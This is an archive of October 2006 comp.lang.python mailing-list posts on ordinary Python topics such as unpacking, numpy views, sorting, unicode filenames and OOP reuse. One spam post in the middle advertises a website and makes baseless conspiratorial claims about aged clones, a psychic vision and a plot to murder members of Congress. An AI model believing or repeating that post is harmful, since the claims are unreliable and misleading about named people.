Subject: why does this unpacking work
In-Reply-To: <Qe9_g.129$1n3.3113@news.tufts.edu>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
Message-ID: <1161373498.353748.216710@b28g2000cwb.googlegroups.com>


John Salerno wrote:

> I'm a little confused, but I'm sure this is something trivial. I'm
> confused about why this works:
>
>  >>> t = (('hello', 'goodbye'),
>       ('more', 'less'),
>       ('something', 'nothing'),
>       ('good', 'bad'))
>  >>> t
> (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'),
> ('good', 'bad'))
>  >>> for x in t:
> 	print x
>
>
> ('hello', 'goodbye')
> ('more', 'less')
> ('something', 'nothing')
> ('good', 'bad')
>  >>> for x,y in t:
> 	print x,y
>
>
> hello goodbye
> more less
> something nothing
> good bad
>  >>>
>
> I understand that t returns a single tuple that contains other tuples.
> Then 'for x in t' returns the nested tuples themselves.
>
> But what I don't understand is why you can use 'for x,y in t' when t
> really only returns one thing. I see that this works, but I can't quite
> conceptualize how. I thought 'for x,y in t' would only work if t
> returned a two-tuple, which it doesn't.
>
> What seems to be happening is that 'for x,y in t' is acting like:
>
> for x in t:
>      for y,z in x:
>          #then it does it correctly
>
> But if so, why is this? It doesn't seem like very intuitive behavior.

It makes perfect sense: in fact, you have kind of explained it
yourself!

Think of the for statement as returning the next element of some
sequence; in this case it's a tuple. Then on the left side, the
unpacking occurs. Using "for x in t", means that effectively no
unpackig occurs, so you get the tuple. However, since the in is
returning a tuple, using "for x,y in t", the tuple returned gets
unpacked.

Hope that helps.

Jon.



From sturlamolden at yahoo.no  Tue Oct 24 18:47:25 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 24 Oct 2006 15:47:25 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <donn-672033.09225124102006@gnus01.u.washington.edu>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161648415.830523.225520@k70g2000cwa.googlegroups.com>
	<donn-672033.09225124102006@gnus01.u.washington.edu>
Message-ID: <1161730045.377608.221250@e3g2000cwe.googlegroups.com>


Donn Cave wrote:
> Wow, you're sure a wizard!  Most people would need to look before
> making statements like that.

I know, but your news-server doesn't honour cancel messages. :)

Python's mmap does indeed memory map the file into the process image.
It does not fake memory mapping by means of file seek operations.

However, "memory mapping" a file by means of fseek() is probably more
efficient than using UNIX' mmap() or Windows'
CreateFileMapping()/MapViewOfFile(). In Python, we don't always need
the file memory mapped, we normally just want to use slicing-operators,
for-loops and other goodies on the file object -- i.e. we just want to
treat the file as a Python container object. There are many ways of
achieving that.

We can implement a container object backed by a binary file just as
efficient (and possibly even more efficient) without using the OS'
memory mapping facilities. The major advantage is that we can
"pseudo-memory map" a lot more than a 32 bit address space can harbour.


However - as I wrote in another posting - memory-mapping may also be
used to create shared memory on Windows, and that doesn't fit easily
into the fseek scheme. But apart from that, I don't see why true memory
mapping has any real advantage on Python. As long as slicing operators
work, users will probably not be able to tell the difference.

There are in any case room for improving Python's mmap object.



From spam_me at yahoo.com  Thu Oct 12 12:52:18 2006
From: spam_me at yahoo.com (K. Jansma)
Date: Thu, 12 Oct 2006 18:52:18 +0200
Subject: numpy slice: create view, not copy
Message-ID: <12issm3bfcmh15e@corp.supernews.com>

Hi,

given an array:

import numpy
a = numpy.arange(100).reshape((10,10))
print a

[[ 0  1  2  3  4  5  6  7  8  9]
 [10 11 12 13 14 15 16 17 18 19]
 [20 21 22 23 24 25 26 27 28 29]
 [30 31 32 33 34 35 36 37 38 39]
 [40 41 42 43 44 45 46 47 48 49]
 [50 51 52 53 54 55 56 57 58 59]
 [60 61 62 63 64 65 66 67 68 69]
 [70 71 72 73 74 75 76 77 78 79]
 [80 81 82 83 84 85 86 87 88 89]
 [90 91 92 93 94 95 96 97 98 99]]


I'd like to create a new array that is a view of a, i.e. it shares data. If
a is updated, this new array should be automatically 'updated'.

e.g. the array west should be a view of a that gives the element at the left
of location i,j in a.
a[i,j] = west[i,j+1]

west can be created using:

a[:,range(-1,a.shape[1]-1)]

As you can see, this also defines periodic boundaries (i.e. west[0,0] = 9)
but it seems that this returns a copy of a, not a view.
How can I change the slice definition in such a way it returns a view?

Thanks in advance,
Karel






From smithj at rpath.com  Mon Oct 16 16:33:08 2006
From: smithj at rpath.com (Jonathan Smith)
Date: Mon, 16 Oct 2006 16:33:08 -0400
Subject: RELEASED Python 2.4.4, release candidate 1
In-Reply-To: <200610121733.11507.anthony@python.org>
References: <200610121733.11507.anthony@python.org>
Message-ID: <4533EC84.1040402@rpath.com>

Anthony Baxter wrote:
> On behalf of the Python development team and the Python community, 
> I'm happy to announce the release of Python 2.4.4 (release candidate 1).

When trying to build 2.4.4c1 with cross-compiling, I get the following 
error.

checking for /dev/ptmx... configure: error: cannot check for file 
existence when cross compiling

./config.log:configure:20566: checking for /dev/ptmx
./config.log:configure:20572: error: cannot check for file existence 
when cross compiling

This does not occur with 2.4.3.

-smithj


From gagsl-py at yahoo.com.ar  Mon Oct 23 19:15:31 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 23 Oct 2006 20:15:31 -0300
Subject: python class instantiation
In-Reply-To: <453D2C61.7000800@useReplyTo.hotmail.com>
References: <453D2C61.7000800@useReplyTo.hotmail.com>
Message-ID: <7.0.1.0.0.20061023201255.05c8c008@yahoo.com.ar>

At Monday 23/10/2006 17:56, ?ric Daigneault lists wrote:

>When creating a class with data members but no __init__ method.  Python
>deals differently with data members that are muatable and immutables.

See 
<http://zephyrfalcon.org/labs/python_pitfalls.html> specially items 4 and 5.
And <http://www.effbot.org/zone/python-objects.htm>


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From rubbishemail at web.de  Mon Oct  2 09:37:34 2006
From: rubbishemail at web.de (rubbishemail at web.de)
Date: 2 Oct 2006 06:37:34 -0700
Subject: automatic progress indicator
Message-ID: <1159796254.438101.82320@i3g2000cwc.googlegroups.com>

Hello,


I have several functions calling each other several times:

iter=0
iterations=50*20 in this case, how can the program calculate this value
automatically ????


def a(y):
   for x in range(20):
        # this takes a constant time
        ...
        iter+=1
        progress=iter/iterations


def b()
    for y in range(50):
        a(y)


The  level of the loops is not known in advance, since the
user can supply his own script to modify the main program.
(b is a library routine, the user will write something like
for value in [...]
    for voltage in [...]
         b()

I would like to supply a progress indicator,  any ideas?


many thanks


Daniel



From val at vtek.com  Fri Oct 13 11:13:12 2006
From: val at vtek.com (val bykoski)
Date: Fri, 13 Oct 2006 11:13:12 -0400
Subject: Python component model
In-Reply-To: <1160696330.090125.212900@h48g2000cwc.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<1160696330.090125.212900@h48g2000cwc.googlegroups.com>
Message-ID: <4p9ooaFhds1pU1@individual.net>

Peter Wang wrote:
> Edward,
> 
> This isn't in response to any specific one of the 100+ posts on this
> thread, but I justed wanted to encourage you to continue your
> investigation into Python component models and maybe looking for some
> common ground between them.  Frequently the individual developers are
> too heads-down on working on their own things to do a broad survey, so
> I think this would be very useful indeed.
> 
> I wouldn't have felt it necessary to post this except for the large
> number of posts along the lines of "foo.dict is introspective enough
> for me!".  I think you might have an easier time evangelizing the
> principle of component-oriented programming (or "event-based", or
> "reactive", or whatever) if you separated it from the notions of RAD UI
> development.  There is a very large difference between writing
> components and writing objects, and it seems that most people arguing
> "python doesn't need components" don't see this distinction.
> 
> For me, it's the difference between writing "live" objects and "dead"
> objects.  Live objects not only encapsulate implementations of an
> interface with some state, but they also encapsulate handling of
> events, i.e. responses to changes in their environment.  Dead objects
> have methods but there has to be a function somewhere that knows which
> dead object to call with what parameters at exactly the right time.
> (The only mechanism for managing this complexity is to create ever more
> functions at ever higher levels of abstraction, or to have a
> proliferation of nebulously-defined "manager" objects.)  IMHO once you
> cross this chasm and are able to model your problem domain with live
> objects that go off and automatically respond to the runtime
> environment and Do the Right Thing, it's very hard to go back to a dead
> object mindset.  I can understand, however, that until one makes this
> leap, it might seem like an academic and useless distinction.
> 
> -peter
> 
Excellent post, Peter.  Thanks for great clarification. Looking from a
physicist' perspective, im always trying to compare/evaluate languages
from "the physical reality/dynamics" angle.  So, the run-time
space/dynamics is the only one that matches the natural "always-runtime"
objects - atoms, molecules, EM fields, biological cells(?).  It is the
*reactive* world with event/forces-driven dynamics.  Seemingly, there is
nothing beyond that, including biology.

The essential feature of that runtime world is the persistence or (in
physical terms) the built-in memory/storage mechanism (soft degrees of
freedom), so that an event (and response to it) changes the object.  The
persistence is obvious in biology, but also is very important in
(bio)molecular dynamics.   From that physics/QM angle, a generic
("always-live") object  which learns the environment (by building *and
updating* its responses) seems to be a quite adequate representation for
a real physical object.  But this seems to be already available in
Python, right?

The Enthought' Traits that describes (physical) properties and their
dynamics seems to be a critically important component of that vision,
and i admire the Enthought' people vision and practical efforts.  Keep
on and good luck!
run-time-ly, y'rs

Val
Air Force Research Lab
Hanscom AFB, MA
val.bykovsky at hanscom.af.mil


From anthra.norell at vtxmail.ch  Mon Oct 16 14:46:10 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Mon, 16 Oct 2006 20:46:10 +0200
Subject: Ok. This IS homework ...
In-Reply-To: <slrnej6kll.mef.nick@irishsea.home.craig-wood.com>
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>	<mailman.561.1160990296.11739.python-list@python.org>
	<slrnej6kll.mef.nick@irishsea.home.craig-wood.com>
Message-ID: <4533D372.1000701@vtxmail.ch>

Nick Craig-Wood wrote:
> Frederic Rentsch <anthra.norell at vtxmail.ch> wrote:
>   
>>  It was called a flow chart. Flow charts could be translated directly 
>>  into machine code written in assembly languages which had labels, tests 
>>  and jumps as the only flow-control constructs. When structured 
>>  programming introduced for and while loops they internalized labeling 
>>  and jumping. That was a great convenience. Flow-charting became rather 
>>  obsolete because the one-to-one correspondence between flow chart and 
>>  code was largely lost.
>>     
>
> The trouble with flow charts is that they aren't appropriate maps for
> the modern computing language territory.
>   
Yes. That's why they aren't used anymore.
> I was born and bred on flow charts and I admit they were useful back
> in the days when I wrote 1000s of lines of assembler code a week.
>
> Now-a-days a much better map for the the territory is pseudo-code.
> Python is pretty much executable pseudo-code anway
>   
Yes. But it's the "executable pseudo code" our friend has problems with. 
So your very pertinent observation doesn't help him. My suggestion to 
use a flow chart was on the impression that he didn't have a clear 
conception of the solution's logic and that the flow chart was a simple 
means to acquire that clear conception. I like flow charts because they 
exhaustively map states and transitions exactly the way they 
connect---solution imaging as it were. If they can help intelligence map 
a territory it is no issue if they don't map it themselves very well.



From larry.bates at websafe.com  Tue Oct 17 16:28:16 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Tue, 17 Oct 2006 15:28:16 -0500
Subject: A question about list
In-Reply-To: <45350868.6020806@websafe.com>
References: <1161102973.920895.141500@i42g2000cwa.googlegroups.com>
	<45350868.6020806@websafe.com>
Message-ID: <V4edncaoYINBoajYnZ2dnUVZ_vGdnZ2d@comcast.com>

Larry Bates wrote:
> pretoriano_2001 at hotmail.com wrote:
>> Hello:
>> Variable 'a' has the next values:
>> [[1,1],[2,2]]
>> and I want to take a to b as:
>> [[1,1,'='],[2,2,'=']]
>> How can I do this with only one line of instruction?
>> Thanks!!
>>
> To copy a list use:
> 
> b=a[:]
> 
> -Larry
Seems I may have misunderstood the question, but others
have answered appropriately.

-Larry


From wolfgang.keller.nospam at gmx.de  Sun Oct  1 08:20:29 2006
From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller)
Date: Sun, 1 Oct 2006 14:20:29 +0200
Subject: windev vs python SOS
References: <nXzSg.195$nn3.31@nntpserver.swip.net>
	<0001HW.C14424C100B023CEF0488530@news.individual.de>
	<1159632848.993229.58300@m7g2000cwm.googlegroups.com>
Message-ID: <0001HW.C1457F2D0000F4CEF0407530@news.individual.de>

> Links abour Windev for those who like facts :
> 
> http://www.windev.com/pcsoft/testimonials/index.html
> http://www.pcsoft.fr/annonce10/photos.html
> http://www.pcsoft.fr/pcsoft/120pages/index.html

Well, it _could_ be that all the readers in comp.lang.python are utterly 
braindead morons with entirely dysfunctional sense organs so that they can't 
distinguish between 100% subject-matter-free sales promotion cheaptalk and 
objective information about "facts" from independent and competent third 
parties.

It _could_ be.

Anyway, if I were "PDG" of PC Soft, I would immediately fire their 
advertising staff - judging from the "content" of those "facts" they're 
totally incapable to produce anything that would actually convince anyone 
with an IQ higher than that of an average housefly.

EOD.

-- 
My email-address is correct.
Do NOT remove ".nospam" to reply.



From neoedmund at gmail.com  Mon Oct 16 23:00:47 2006
From: neoedmund at gmail.com (neoedmund)
Date: 16 Oct 2006 20:00:47 -0700
Subject: python's OOP question
In-Reply-To: <453382b6$0$8601$426a74cc@news.free.fr>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<45334fa9$0$5656$426a74cc@news.free.fr>
	<1160991239.541020.115320@m7g2000cwm.googlegroups.com>
	<453382b6$0$8601$426a74cc@news.free.fr>
Message-ID: <1161054047.278803.241040@h48g2000cwc.googlegroups.com>



On Oct 16, 9:01 pm, Bruno Desthuilliers <o... at xiludom.gro> wrote:
> neoedmund wrote:
> > Bruno Desthuilliers wrote:
> >> neoedmund wrote:
> >> (*PLEASE* stop top-posting - corrected)
> >>> Ben Finney wrote:
> >>>> [Please don't top-post above the text to which you're replying.]
>
> >>>> "neoedmund" <neoedm... at gmail.com> writes:
>
> >>>>> I'm trying to achieve a higher level of "reusability". Maybe it
> >>>>> cannot be done in python? Can anybody help me?
> >>>> What, specifically, are you trying to achieve? What problem needs
> >>>> solving?
> >>> python use multiple inheritance.
> >>> but "inheritance" means you must inherite all methods from super type.
> >>> now i just need "some" methods from one type and "some" methods from
> >>> other types, to build the new type.
> >>> Do you think this way is more flexible than tranditional inheritance?
>
> >> While dynamically adding attributes (and methods - which are attributes
> >> too) is not a problem, I'd second Gregor's anwser : it might be better
> >> to use composition/delegation here.
>
> > Could you show some code to help me know how composition/delegation can
> > be done here? Thanks.About composition/delegation, there's no "one-size-fits-all" answer, but
> the main idea is to use the magic '__getattr__(self, name)' method.
>
> Now back to your specific case : after a better reading of your original
> question, straight composition/delegation wouldn't work here - at least
> not without modifications to both C1 and C2 (sorry, should have read
> better the first time).
>
> Given the context (ie : "create a new type with methods from type X and
> methods from type Y"), a very simple solution could be:
>
> class C3(object):
>     m = C2.m.im_func
>     v = C1.v.im_func
>
> FWIW, if you have full control over C1, C2 and C3, you could also just
> 'externalize' the functions definitions:
>
> def v1(self, o):
>     return "expected "+o
>
> def v2(self, o):
>     return "unexpected "+o
>
> def m2(self):
>     """ requires that 'self' has a v(self, somestring) method """
>     print self.v("aaa")
>
> class C1(object):
>     v = v1
>
> class C2(object):
>     v = v2
>     m = m2
>
> class C3(object):
>     v = v1
>     m = m2
>
> The problem (with the whole approach, whatever the choosen technical
> solution) is that if one of theses methods depends on another one (or on
> any other attribute) that is not defined in your new class, you're in
> trouble. This is not such a big deal in the above example, but might
> become much more brittle in real life.
>
> Now we can look at the problem from a different perspective. You wrote:
> """
> but "inheritance" means you must inherite all methods from super type.
> now i just need "some" methods from one type and "some" methods from
> other types, to build the new type.
> """
>
> What is your problem with having the other extra methods too ?
>
> --
> bruno desthuilliers
> python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
> p in 'on... at xiludom.gro'.split('@')])"

Bruno , your 2 great and clear samples revealed what method is in
python, which is also I really want to ask. thank you.
So I can reuse a method freely only if it's worth reusing.
For the word "inheritance", in some aspect, meanings reuse the super
class, with the condition: must reuse everything from super class.
It's lack of a option to select which methods are to be reused.
this is something should be improved for general OOP i think.
So to answer " What is your problem with having the other extra methods
too ?",
in real life, a class is not defined so well that any method is needed
by sub-class. so contains a method never to be used is meaningless and
i think something should forbidden.
also, any handy methods in a class can be grabbed out for our reuse. so
we can forgotting the bundering inheritance tree and order.



From skip at pobox.com  Thu Oct 19 16:59:03 2006
From: skip at pobox.com (skip at pobox.com)
Date: Thu, 19 Oct 2006 15:59:03 -0500
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <yhRZg.12485$TV3.4900@newssvr21.news.prodigy.com>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
	<mailman.781.1161285358.11739.python-list@python.org>
	<yhRZg.12485$TV3.4900@newssvr21.news.prodigy.com>
Message-ID: <17719.59159.761223.256880@montanaro.dyndns.org>


    James> I guess while I'm at it, this thread wouldn't have so much steam
    James> were these idioms seemingly unpythonic:

    James>        "".join(reverse(x))
    James>        alist[::-1]

    James> The latter, while more terse than alist.reversed(), is unnatural
    James> and ugly compared to the general elegance of other constructs in
    James> python.  Were this not the case, beginners and intermediate
    James> programmers alike would not have such trouble remembering it.

I've no comment one way or the other on the "".join() idiom.  I realize a
lot of folks don't like it.  The extended slice notation comes from the
numeric community though where they are probably all former FORTRAN
programmers.  I think the concept of start, stop, step (or stride?) is
pretty common there.  It also fairly nicely matches the arguments to range()
and extends the list "copy operator" alist[:] in a more-or-less
straightforward fashion.  It takes a little getting used to, but it's really
not all that hard to remember once you've seen it a couple times.  Besides,
it's not obvious to me that simple sequence slicing would be all that
familiar to the uninitiated.

go-bruins-ly, y'rs,

Skip


From vito.detullio at gmail.com  Wed Oct 25 02:52:24 2006
From: vito.detullio at gmail.com (ZeD)
Date: Wed, 25 Oct 2006 06:52:24 GMT
Subject: Sorting by item_in_another_list
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
Message-ID: <IQD%g.15838$Fk1.36230@twister2.libero.it>

Paul Rubin wrote:

>> A = [0,1,2,3,4,5,6,7,8,9,10]
>> B = [2,3,7,8]
>> 
>> desired_result = [2,3,7,8,0,1,4,5,6,9,10]
> 
> How about:
> 
>   desired_result = B + sorted(x for x in A if x not in B)

this. is. cool.

-- 
Under construction


From onurb at xiludom.gro  Mon Oct 30 05:05:19 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 30 Oct 2006 11:05:19 +0100
Subject: Optional Parameter Requirements
In-Reply-To: <1161977744.737937.56400@i42g2000cwa.googlegroups.com>
References: <1161977744.737937.56400@i42g2000cwa.googlegroups.com>
Message-ID: <4545ce60$0$11343$426a74cc@news.free.fr>

dhable at gmail.com wrote:
> If I'm building a function to accept optional parameters, do I need to
> allow for the capture of both the positional arguments as well as the
> keyword arguments?

No.

> If it doesn't make sense to allow keyword arguments,
> can I just write:
> 
> def myfunc(a, b, *tup):
>   ...
> 
> and be done with it?

Yes.


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From baseballsoccer123 at yahoo.com  Fri Oct 27 14:25:48 2006
From: baseballsoccer123 at yahoo.com (baseballsoccer123 at yahoo.com)
Date: 27 Oct 2006 11:25:48 -0700
Subject: Beautiful women, aged clones, and Ultimate Fighting Championship
Message-ID: <1161973548.786311.158270@f16g2000cwb.googlegroups.com>

Friend,

I'm always looking for good and intelligent individuals like you to
visit my website, www.ChezBrandon.com , and it has pictures of
beautiful women, information about aged clones, and a link to Ultimate
Fighting Championship, a very good show.

My name is Brandon, and I'm in my 20s, am a college student, and as lie
detectors, both conventional and unconventional would show, I've never
been sexually penetrated. Moreover, I could be shown pictures of X, Y,
and Z, and it would show that I'm only sexually attracted to women.

The Murders of Our Leaders were Stopped.

I can take lie detector and psychological tests. I tell the truth. A
mini-psychological test: 8 times 2 = 16, the world is round, not flat,
and the year is 2006. Feel free to call me, cellphone number is
503.740.0272, and utilize a GK-1 voice analyzer truth detecting device
too:

>From Congressmen Bill Frist to John Kerry to Dennis Hastert to Hillary
Clinton to John Warner to Ron Wyden to Gordon Smith to John McCain to
Joseph Lieberman to Nancy Pelosi to Diane Feinstein to Ted Kennedy to
anyone else who happened to be in the Congressional chambers during
either a joint session of Congress or a State of the Union address from
Masons to Skull and Bones members to Secret Service agents to pages to
visitors to other good individuals, they all would have been murdered,
all of their accomplishments stripped away, their earned wealth
stripped away, their homes stripped away, their family and friends
stripped away. Moreover, someone else would have been sleeping with
their spouses.

Elements of an organization, not of course the Masons or Skull and
Bones -- I was able, thank God, to thwart the conquest of the USA and
the world, and was able to thwart the murder of United States and world
leaders, via a psychic vision of Senator John Warner and other
Congressmen being choked to death by gas, which was confirmed
auditorially from both ears, such as "He saved Congress," who they were
going to kill "all of them,""how did he know that?" and "he's psychic"
-- murdered my biological Aunt Gloria Atkinson, whom I loved very much,
as she did of me, and there is a tribute to her on my website. Please,
friend, be sure to barricade your bedroom door at night. I'm not afraid
of aged clones or the attempted chopping off of my appendages (elements
of an organization talked about chopping off my right middle finger and
right ear, and 10 out of 10 of my toes, like my right middle finger
have unique steeple designs).

I'm not afraid of anything. I'll defend myself to the best of my
ability, and I commit my life to saving the lives of men, women, and
children and strengthening good organizations. Sincerely, Brandon



From johnjsal at NOSPAMgmail.com  Fri Oct 20 11:02:37 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 20 Oct 2006 15:02:37 GMT
Subject: python under the hood
In-Reply-To: <1161345457.021410.306910@m73g2000cwd.googlegroups.com>
References: <1161345457.021410.306910@m73g2000cwd.googlegroups.com>
Message-ID: <hy5_g.123$1n3.3067@news.tufts.edu>

tpochep at mail.ru wrote:
> Hello.
> 
> Is there any good information about python's internals and semantic? I
> mean "under the hood".
> For example, I want to understant what do these strings
> 
> x = 10
> y = 10
> x = 20
> 
> mean (memory allocation for object? ctors? etc.)
> Unfortynatly, I'm too lazy to read python's source code :) (and I
> guess, it's not very easy :) )
> 

I found both Learning Python and Python in a Nutshell (both O'Reilly) to 
be really good at covering some of the details of what's happening in 
the language. Assuming you want to read whole books about it! :)


From tinodb at gmail.com  Thu Oct 19 15:56:49 2006
From: tinodb at gmail.com (TiNo)
Date: Thu, 19 Oct 2006 21:56:49 +0200
Subject: right curly quote and unicode
In-Reply-To: <7fcc59a70610181444p5909767g77fdf37671041b93@mail.gmail.com>
References: <7fcc59a70610181444p5909767g77fdf37671041b93@mail.gmail.com>
Message-ID: <435b46e50610191256w45271a00kc96b366140b8ff56@mail.gmail.com>

That is actually
> > not an apostrophe, but ASCII char 180: ?
>
> It's actually Unicode char #180, not ASCII. ASCII characters are in
> 0..127 range.


Yep, that's what I ment... :D


> In the Itunes library it is encoded as: Don%E2%80%99t
>
> Looks like a utf-8 encoded string, then encoded like an url.


It is. I just found out it is unicode character 2019. So in the Itunes
library it is not unicode char 180, but it looks exactly the same...


> I do some some conversions with both the library path names and the folder
> > path names. Here is the code:
> > (in the comment I dispay how the Don't part looks. I got this using
> print
> > repr(filename))
> > -------------------------------------------------------------
> > #Once I have the filenames from the library I clean them using the
> following
> > code (as filenames are in the format '
> > file://localhost/m:/music/track%20name.mp3')
> >
> > filename = urlparse.urlparse(filename)[2][1:]  # u'Don%E2%80%99t' ; side
> > question, anybody who nows a way to do this in a more fashionable way?
> > filename = urllib.unquote (filename) # u'Don\xe2\x80\x99t'
>
> This doesn't work for me in python 2.4, unquote expects str type, not
> unicode. So it should be:
>
> filename = urllib.unquote(filename.encode('ascii')).decode('utf-8')


 It works for me with python 2.4.3. It returns a unicode string.

> filename = os.path.normpath(filename) # u'Don\xe2\x80\x99t'
> >
> > I get the files in my music folder with the os.walk method and then
> > I do:
> >
> > filename = os.path.normpath(os.path.join (root,name))  # 'Don\x92t'
> > filename = unicode(filename,'latin1') # u'Don\x92t'
> > filename = filename.encode('utf-8') # 'Don\xc2\x92t'
> > filename = unicode(filename,'latin1') # u'Don\xc2\x92t'
>
> This looks like calling random methods with random parameters :)


It is... Well, not totally random. I figured I needed a unicode string to be
able to encode it to utf-8 (otherwise it gives an error). After that is
appears not to be a unicode string anymore(no u in front of it), so I
decided to unicode it again....
It worked, but I now accomplish the same by just the encode line and the
following:

Python is able to return you unicode file names right away, you just
> need to pass input parameters as unicode strings:
>
> >>> os.listdir(u"/")
> [u'alarm', u'ARCSOFT' ...]
>
> So in your case you need to make sure the start directory parameter
> for walk function is unicode.


That does not matter much for me. Then I will have to convert the path name
to unicode, as it is user input. (ok, it still saves me converting a string
to unicode a thousand times, so I'll do it :)

Now I know where the problem lies. The character in the actual file path is
u+00B4 (Acute accent) and in the Itunes library it is u+2019 (a right curly
quote). Somehow Itunes manages to make these two the same...?

As it is the only file that gave me trouble, I changed the accent in the
file to an apostrophe and re-imported it in Itunes. But I would like to hear
if there is a solution for this problem?
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From ptmcg at austin.rr._bogus_.com  Tue Oct 24 00:19:50 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Tue, 24 Oct 2006 04:19:50 GMT
Subject: Sorting by item_in_another_list
References: <ehk3p8$j3q$1@enyo.uwa.edu.au>
Message-ID: <Gvg%g.15698$GR2.5499@tornado.texas.rr.com>

"Cameron Walsh" <cameron.walsh at gmail.com> wrote in message 
news:ehk3p8$j3q$1 at enyo.uwa.edu.au...
> Hi,
>
> I have two lists, A and B, such that B is a subset of A.
>
> I wish to sort A such that the elements in B are at the beginning of A, 
> and keep the existing order otherwise, i.e. stable sort.  The order of 
> elements in B will always be correct.
>
> for example:
>
> A = [0,1,2,3,4,5,6,7,8,9,10]
> B = [2,3,7,8]
>
> desired_result = [2,3,7,8,0,1,4,5,6,9,10]
>
>
> At the moment I have defined a comparator function:
>
> def sort_by_in_list(x,y):
> ret = 0
> if x in B:
> ret -= 1
> if y in B:
> ret += 1
> return ret
>
> and am using:
>
> A.sort(sort_by_in_list)
>
> which does produce the desired results.
>
> I do now have a few questions:
>
> 1.)  Is this the most efficient method for up to around 500 elements? If 
> not, what would be better?
> 2.)  This current version does not allow me to choose a different list for 
> B.  Is there a bind_third function of some description that I could use to 
> define a new function with 3 parameters, feed it the third (the list to 
> sort by), and have the A.sort(sort_by_in_list) provide the other 2 
> variables?
>

Think in Python.  Define a function to take the list, and have that function 
return the proper comparison function.  This gives me the chance to also 
convert the input list to a set, which will help in scaling up my list to 
hundreds of elements.  See below.

-- Paul


def sort_by_in_list(reflist):
    reflist = set(reflist)
    def sort_by_in_list_(x,y):
        ret = 0
        if x in reflist: ret -= 1
        if y in reflist: ret += 1
        return ret
    return sort_by_in_list_

A = [0,1,2,3,4,5,6,7,8,9,10]
B = [2,3,7,8]
A.sort( sort_by_in_list(B) )
print A

Gives:
[2, 3, 7, 8, 0, 1, 4, 5, 6, 9, 10]




From sybrenUSE at YOURthirdtower.com.imagination  Sat Oct  7 18:02:10 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Sun, 8 Oct 2006 00:02:10 +0200
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
Message-ID: <slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>

Tim Chase enlightened us with:
> With the caveat of the "=" mentioned in the subject-line (being
> different from "==")...I haven't found any way to override
> assignment in the general case.

Why would you want to do that?

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From python-url at phaseit.net  Mon Oct  9 23:56:09 2006
From: python-url at phaseit.net (Cameron Laird)
Date: Tue, 10 Oct 2006 03:56:09 +0000 (UTC)
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Oct 10)
Message-ID: <egf5kp$m66$1@lairds.us>

QOTW:  "... [N]ow that I've made the switch to python, I'm several orders of
magnitude more productive ..." - Rob Knapp
    http://groups.google.com/group/comp.lang.python/msg/8a4efd549bfb451a

"Hanging out around the Python community will make you a better VB, dotNet
or C++ programmer ..." - Carl Trachte
    http://groups.google.com/group/comp.lang.python/msg/e2648d5a03c04d4e

"It was a revelation to bump into Python in 1996. Suddenly, there was
something which was easy to get started with, but still just felt better
and better the longer I used it. That's the killer feature in my
mind." - Magnus Lycka
     http://groups.google.com/group/comp.lang.python/msg/e2a3ec58d73a2d12


    If you're in the Midwest (USA) this week, make a point of
    visiting the Chicago Python User Group on Thursday.  Jazz
    musician David Beasley will present PLY:
	http://groups.google.com/group/comp.lang.python/msg/11e0ef756f4892c1

    timbot comments with unique and useful detail on the Python license(s):
        http://groups.google.com/group/comp.lang.python/msg/ebb262db50c45d83

    goon summarizes WSGI resources:
	http://groups.google.com/group/comp.lang.python/msg/f7d67bc039748792

    A Kamaelia spokesman mentions constructions involving PVR, visual
    composition, real-time 3D spinning, Dirac encoding, and other "bling":
	http://groups.google.com/group/comp.lang.python/msg/001dc5992b1bfbb4

    Martin von Loewis and Fredrik Lundh remark that XML parsing fundamentally
    conflicts with lexically-detailed text editing, and vice-versa:
	http://groups.google.com/group/comp.lang.python/msg/8acd9f676278b720
	
    John Machin's xlrd makes it practical to read any Excel spreadsheet
    programmatically, even when hosted under Linux:
	http://groups.google.com/group/comp.lang.python/browse_thread/thread/572b0ac9648ccd66/


========================================================================
Everything Python-related you want is probably one or two clicks away in
these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    marvelous daily python url
         http://www.pythonware.com/daily
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html
